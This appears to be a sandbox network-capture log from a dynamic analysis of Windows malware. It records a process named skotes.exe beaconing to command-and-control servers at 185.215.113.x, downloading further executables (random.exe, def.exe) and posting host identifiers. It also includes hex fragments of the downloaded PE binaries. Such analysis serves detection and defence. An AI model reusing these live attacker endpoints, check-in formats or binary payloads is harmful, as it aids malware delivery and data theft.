21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,0r@`rT!@P.d. p.v@.rsrc .@.idata .@ ).@fozyxqhw`X@gnsdcfju r@ @.taggant00r"F @
Nov 1, 2024 00:38:53.533035994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:53.533056974 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:53.533071995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:53.533097029 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:38:53.533113003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: P)Y8(9[Y
Nov 1, 2024 00:38:53.533127069 CET	1236	IN	Data Raw: 29 e8 75 9b 63 b1 47 01 2c ad 72 81 e5 46 9f 7f c7 7f 03 2e cb 12 dc 73 0e e4 69 72 78 8b 48 68 d1 ef 8c cb 19 05 7f 31 44 ab 79 4a 55 e6 7d 00 1b 68 ac 47 83 6b d0 67 ee e8 53 d5 40 81 ac a1 0d 0a b8 39 33 fa 87 f8 5c f6 aa 9f ff 4a b7 39 f4 06 Data Ascii: )ucG,rF.sirxHh1DyJU}hGkgS@93\J9RX3/3'0kCsCM[i6=Scciev61z/E[wa1/ff47EPcf;48Z?$lXK8)xQ^zP
Nov 1, 2024 00:38:53.533144951 CET	1236	IN	Data Raw: 3b 36 87 b3 3c 65 a2 2b d5 5b 70 65 f1 f3 74 cb 77 33 3a 1b 50 27 1d 31 0e 6f 6d 59 59 3b b8 98 e0 94 f9 9a 41 8e ca 29 6a 7c 86 59 ed f3 50 18 92 ec ca 27 e3 8d 77 a1 4c ce 77 71 77 dd d0 54 dc 6a e7 8c db 4e e8 37 8c 95 39 82 16 46 69 49 c7 68 Data Ascii: ;6<e+[petw3:P'1omYY;A)j\|YP'wLwqwTjN79FiIh1w$-\|8vMB;gb'7W(n@1]h7+h)1q7'%<Xil>Fx{sUy~*DAx>Y"8vNR3
Nov 1, 2024 00:38:53.533158064 CET	636	IN	Data Raw: ee 08 8d 3c 89 1d 80 01 15 28 77 3d ee 02 6f 30 70 ca c3 ef 3a 0e 08 31 01 ee f4 a5 0b 8e 8b 37 6d 06 80 59 35 09 dc a0 69 50 00 89 59 2d 80 df 0d 42 d9 37 5a 4a 17 20 85 6a ae 5a 47 6a dd 2a 0b ae 88 f3 da 10 46 bc 0e ab 57 20 e2 e2 ab 28 3a 7a Data Ascii: <(w=o0p:17mY5iPY-B7ZJ jZGjFW (:zhHz0"x+`:xZ-noM-'Q/2h'nQH/MR:K~M_1^ 3QH7jF60j"-7IO@AwJ5U
Nov 1, 2024 00:38:53.533175945 CET	1236	IN	Data Raw: df 1f a7 4d 3a f7 6e 45 03 06 2b 15 c5 03 9f 13 94 1e 80 27 15 6e 4b fc d1 7e de 77 6a ff da 1f 94 74 93 73 35 06 cc 9f d1 ff fe 5b 7b 58 9f a8 fb 8e 6f d3 4d 2d 00 39 21 18 99 e7 da ca 6f 97 57 2f ab 8e 53 de 80 56 eb 15 ae 7e f4 22 61 20 e9 15 Data Ascii: M:nE+'nK~wjts5[{XoM-9!oW/SV~"a G+W~*9/Yj["28I@4zn'Hs0H0hX/703{\|(o f^R?l(G;n_-D)R
Nov 1, 2024 00:38:53.540669918 CET	1236	IN	Data Raw: a1 32 0f b9 e2 9e 70 09 03 86 d3 07 94 ae 80 27 a5 6a 5b 21 2b fa d7 83 5d d6 80 87 0d 25 42 a6 24 2e f3 8b d9 2a a6 33 6a ff 28 34 4d 79 7a 2b f1 ff 87 4f da 8f 2b 68 37 72 ac 5f 6a ff be 1f 59 74 a9 cb 12 d4 88 56 e9 ff ad 8e ed 8a 5b dd 49 ee Data Ascii: 2p'j[!+]%B$.3j(4Myz+O+h7r_jYtV[ID(\X(W<iTMN%0tw_ &-$HwWo0&1."vwQK,foW57v1e.(-;x1YJ/xI~>>0n{M](W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50001	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:01.076808929 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003037001&unit=246122658369
Nov 1, 2024 00:39:02.011430979 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50004	185.215.113.16	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:02.020152092 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 00:39:02.948293924 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:02 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 31 Oct 2024 22:59:44 GMT Connection: keep-alive ETag: "67240be0-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 0b 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL$g"Xw@`F@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Nov 1, 2024 00:39:02.948350906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 1, 2024 00:39:02.948390007 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 1, 2024 00:39:02.948441029 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Nov 1, 2024 00:39:02.948477983 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Nov 1, 2024 00:39:02.948513985 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Nov 1, 2024 00:39:02.948549032 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Nov 1, 2024 00:39:02.948584080 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Nov 1, 2024 00:39:02.948617935 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Nov 1, 2024 00:39:02.948659897 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Nov 1, 2024 00:39:02.955101967 CET	1120	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50005	185.215.113.206	80	5712	C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:02.380861044 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 00:39:03.295233965 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 00:39:03.299510002 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHD Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 39 33 37 35 32 30 46 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 2d 2d 0d 0a Data Ascii: ------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="hwid"62937520F30F807656615------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="build"tale------JEBKEHJJDAAAAKECBGHD--
Nov 1, 2024 00:39:03.587827921 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50007	185.215.113.16	80	4916	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:05.042944908 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 00:39:06.219641924 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:05 GMT Content-Type: application/octet-stream Content-Length: 2750464 Last-Modified: Thu, 31 Oct 2024 23:00:11 GMT Connection: keep-alive ETag: "67240bfb-29f800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 21 1f 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`* `@ !`Ui` @ @.rsrc`2@.idata 8@itokqeos)):@vqtnthmp @)@.taggant@`")@
Nov 1, 2024 00:39:06.219665051 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:06.219677925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:06.219743013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:06.219755888 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:06.219777107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:06.219793081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:06.219806910 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:06.219822884 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 00:39:06.219836950 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 0f a2 96 a4 7c 2d b7 61 Data Ascii: ?\|-az.G\SI{;QycX5e[[qpe&wf-Xy, (qhU6+WW*FMyPsM`J_x^LLZ+CR)jAwbf:M7y&]v^bR4or)w~7:zW@
Nov 1, 2024 00:39:06.219851971 CET	1236	IN	Data Raw: 0c ff db 1d 09 76 06 4c 6a 75 18 36 63 1e 6c 76 98 4c 6e 2a 9f a3 7b ab 46 5d 05 c2 be 55 96 83 51 62 25 e0 f7 24 05 ac 57 02 7a 3e ae 1d 63 d3 f5 0d d7 b4 7d 68 d3 36 67 00 86 cf 59 51 12 a6 71 93 49 f8 c9 c6 fd 71 9a 9a 3a c2 82 8f 66 86 bb 94 Data Ascii: vLju6clvLn{F]UQb%$Wz>c}h6gYQqIq:fE`h\|>\|_$8xq!o353p\3qr`}dLBU2m }qU55Z3VaGiGkkw}mr@t"9wT7T*"0yLDaQ
Nov 1, 2024 00:39:06.220698118 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:05 GMT Content-Type: application/octet-stream Content-Length: 2750464 Last-Modified: Thu, 31 Oct 2024 23:00:11 GMT Connection: keep-alive ETag: "67240bfb-29f800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 21 1f 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`* `@ !`Ui` @ @.rsrc`2@.idata 8@itokqeos)):@vqtnthmp @)@.taggant@`")@
Nov 1, 2024 00:39:13.447873116 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 00:39:13.724626064 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 23:39:13 GMT Content-Type: application/octet-stream Content-Length: 1968128 Last-Modified: Thu, 31 Oct 2024 23:36:29 GMT Connection: keep-alive ETag: "6724147d-1e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4e 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf N@PN@WkDNN @.rsrcD@.idata @ p,@qodksccb 3@reojqbkzN@.taggant0 N"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50010	185.215.113.43	80	420	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 00:39:08.895667076 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003038001&unit=246122658369
